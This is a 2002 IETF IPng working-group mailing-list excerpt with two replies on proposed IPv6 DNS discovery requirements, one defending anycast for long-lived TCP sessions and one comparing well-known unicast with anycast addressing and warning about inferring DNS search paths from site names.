charset=us-ascii Content-Transfer-Encoding: 7bit To: itojun@iijlab.net Cc: Rob Austein , ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <20399.1020211573@itojun.org> Message-Id: Date: Wed, 01 May 2002 01:39:07 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk people have successfully used v4 anycast for long-lived (O(hour) tcp sessions. it may be ill-advised, but was successful. if you want to say "don't use for long-lived sessions," that is at least honest and breaks nothing. but don't disable the major use of the function as collateral civilian damage on your moral crusade. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 23:44:40 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g416ierP008370; Tue, 30 Apr 2002 23:44:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g416ieaZ008369; Tue, 30 Apr 2002 23:44:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g416ibrP008362 for ; Tue, 30 Apr 2002 23:44:37 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA05660 for ; Tue, 30 Apr 2002 23:44:37 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA13076 for ; Wed, 1 May 2002 00:44:36 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id A053A1C30 for ; Wed, 1 May 2002 02:44:35 -0400 (EDT) Date: Wed, 01 May 2002 02:44:35 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020430143155.02bf14c0@mailhost.iprg.nokia.com> References: <3CCE88F2.92C5BF9B@nc.rr.com> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <20020430140404.2AFAE1BFF@thrintun.hactrn.net> <4.3.2.7.2.20020430143155.02bf14c0@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020501064435.A053A1C30@thrintun.hactrn.net> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g416ibrP008363 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 30 Apr 2002 14:47:20 -0700, Bob Hinden wrote: > > The first set of sections (1-8) does not specify the use anycast or > multicast, only unicast using three well know addresses. Yes, but.... >From the client's point of view, the practical difference between a well-known unicast address and an anycast address is almost non-existant, other than removal of the can't use as source address restriction that folks are already talking about elsewhere in this thread. Using well-known unicast addresses still moves knowledge of the server location into the routing system. Using well-known anycast addresses still leaves the client unable to take any useful recovery action if the server location mechanism has returned answers that are not useful. Basicly, take all my ranting about service discovery via anycast address over the last few days, apply s/anycast/well-known unicast/g and almost all of it will still parse. That being the case, I assume that you're no more interested in reading all that again than I am in sending it all again, so I won't. I am still fairly skeptical about the existance of a real need for the service provided by level 1 compliance, given its limitations (some of which I've commented on, some of which are commented on in the draft). Finally, I would urge folks to read RFC 1535 then go back and read section 3.2 of the draft. Inferring DNS search paths from site names is dangerous. It's not too bad if one takes reasonable precautions, but the draft would have to spell out those precautions (see the RFC). > Hope you enjoyed your coffee. The first cup of coffee recapitulates phylogeny. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com --------------------------------------------------------------------